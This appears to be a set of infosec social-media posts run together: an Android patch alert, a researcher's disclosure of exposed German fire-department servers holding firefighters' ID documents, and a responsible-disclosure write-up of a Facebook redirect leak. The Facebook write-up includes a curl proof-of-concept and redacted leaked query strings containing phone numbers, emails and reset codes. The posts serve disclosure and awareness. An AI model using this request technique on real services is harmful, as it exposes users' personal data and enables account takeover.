Hey Android folks, listen up! 👀 Google just dropped a crucial security update that you seriously need to check out. It might just be relevant to your phone. Word on the street is, two of the patched vulnerabilities are already being exploited in the wild. Crazy, right? 😬

This reminds me of those chats I have with clients: "So, Android's secure, yeah?" Well... Privilege Escalation basically means an attacker can snag more permissions on your device. In short: hackers can potentially grab your data! 😱

They've squashed a whopping 44 vulnerabilities in this March update. CVE-2024-43093 & CVE-2024-50302 are seriously critical. Apparently, CVE-2024-50302 was even leveraged by Cellebrite to get into an activist's phone. Wild stuff! 😳

Go ahead and check your Android version and smash that update button ASAP (look for 2025-03-01 or 2025-03-05)! Also, be extra careful with apps from sources you don't know. Regular security checks are a must, even on your smartphone.

Have you already installed the update? Any thoughts or experiences with Android security? 🤔

#AndroidSecurity #infosec #pentest

The full story on this is out here: jltee.substack.com/p/putting-o…

UPDATE2: Baden-Württemberg Data Protection managed to reach out to the company responsible for the servers and the public access was closed down. Not naming anyone at the moment, my post about this will eventually come after disclosure is made by the company.

Thanks everyone who boosted and interacted with the post and helped get this closed down!

-------

Original Post:

Anyone on infosec from Germany that might be able to help me out on who to reach out to close some exposed PII?

I found a few, 180+ 😂 , exposed servers from Fire Depts all over Germany.
This servers are exposing drivers licenses for Firefighters and a bunch of legal documents that I'm not sure what they are exactly.

I sent an email to poststelle@bfdi.bund.de and poststelle@lda.bayern.de last Wednesday but no one replied back to me.

Update: Thanks everyone who boosted and gave out their suggestions or reached out through DMs.
Currently in contact with BSI and Baden-Württemberg Data Protection. Hopefully this gets closed soon, will update this post when it does.

#infosec #cybersecurity #dataprotection #germany

For an unknown period until the end of January 2024, Facebook appears to have suffered a data leak that has exposed users’ email addresses, phone numbers and other identifying information.

The only action required was to send an HTTP request to https://x.facebook.com/ with a valid Facebook tracking cookie (datr) set. The link to which the HTTP 302 redirected then revealed third-party user data.

📝 For privacy reasons some data is redacted with either ‘▒▒▒’ (base64url or hex strings) or ‘●●●●’ (human readable).

For example, a simple

curl --silent \
     --header "Cookie: datr=__▒▒▒;" \
     --dump-header - \
     https://x.facebook.com/ \
     | grep -i "^location:"

📝 Note: In the following, only the field-value pairs of https://m.facebook.com/recover/code/? are listed in favour of better readability.

ars=m_try_another_way_clicked_from_code_entry
ph[0]=+9899●●●●●●●●
rm=send_sms
fl=default_recover
c=/login/
hash=AU▒▒▒
refsrc=deprecated
_rdr

The value +9899●●●●●●●● apparently is a Pakistani phone number.

Numbers from WhatsApp accounts were also revealed by Facebook’s ‘chatty’ redirects:

ars=m_lara_first_password_failure
ph[0]=+919165●●●●●●●
rm=send_whatsapp_skip_bc
hash=AU▒▒▒
refsrc=deprecated
_rdr

E-mail addresses (em[0]) were disclosed in plain text as well.

em[0]=●●●●●●.●●●●●●●@gmail.com
rm=send_email
c=/login/?next=https://www.facebook.com/public/●●●●-●●●●●●●/
hash=AU▒▒▒
refsrc=deprecated
_rdr

In some cases, multiple telephone numbers or e-mail addresses were given for accounts (em[1], ph[1], ...).

Alternatively, a cuid was returned instead, which can also be correlated with an email address or telephone number:

rm=send_email
spc=0
cuid=AY▒▒▒
fl=default_recover
try=6
locale2=es_ES
refsrc=deprecated
wtsid=rdr_▒▒▒
hash=AU▒▒▒
_rdr

Some information has also been leaked about OAuth logins via third-party providers.

em[0]=a***@*******
rm=send_email
c=/login/?skip_api_login=1
api_key=●●●●●●●●●●●●●●●
kid_directed_site=0
app_id=●●●●●●●●●●●●●●●
signed_next=1
next=https://m.facebook.com/dialog/oauth?

client_id=●●●●●●●●●●●●●●●
redirect_uri=https://login.●●●●●●●●●●●.co.uk/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2/authresp
response_type=code
scope=email+public_profile
state=StateProperties=ey▒▒▒
ret=login
fbapp_pres=0
logger_id=▒▒-▒-▒-▒-▒▒▒
tp=unspecified

cancel_url=https://login.●●●●●●●●●●●.co.uk.onmicrosoft.com/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2?

error=access_denied
error_code=200
error_description=Permissions+error
error_reason=user_denied
state=StateProperties=ey▒▒▒
# =

display=touch
locale=en_GB
pl_dbl=0
refsrc=deprecated
is_from_native_app=true
locale2=en_GB
hash=▒▒▒
refsrc=deprecated
_rdr

Although, in this example, the email address (em[0]) has been anonymized by Facebook itself, it is possible to draw conclusions about users on the basis of api_key (identical to app_id and client_id) and redirect_uri (containing ●●●●●●.co.uk)

Query strings with the field n are particularly concerning. n seems to be a one-time password, as known from password reset emails. This is even more worrying when combined with the cuid, which can easily be derived from the email address.

n=24807091
s=23
exp_locale=pl_PL
cuid=AY▒▒▒
redirect_from=button
wtsid=rdr_▒▒▒
refsrc=deprecated
hash=AU▒▒▒
_rdr.

During my investigations I noticed that the same URLs were returned for requests in quick succession. However, the returned query string changed at irregular intervals, roughly once per minute, depending on the time of day.

The issue was reported to Facebook via its bug bounty programme. While the demonstrated method stopped working two weeks after submission, the issue was triaged for an extensive period of time. In accordance with the principle of responsible disclosure, this is published only now.

#Facebok #Meta #WhatsApp #Infosec #DataBreach #DataLeak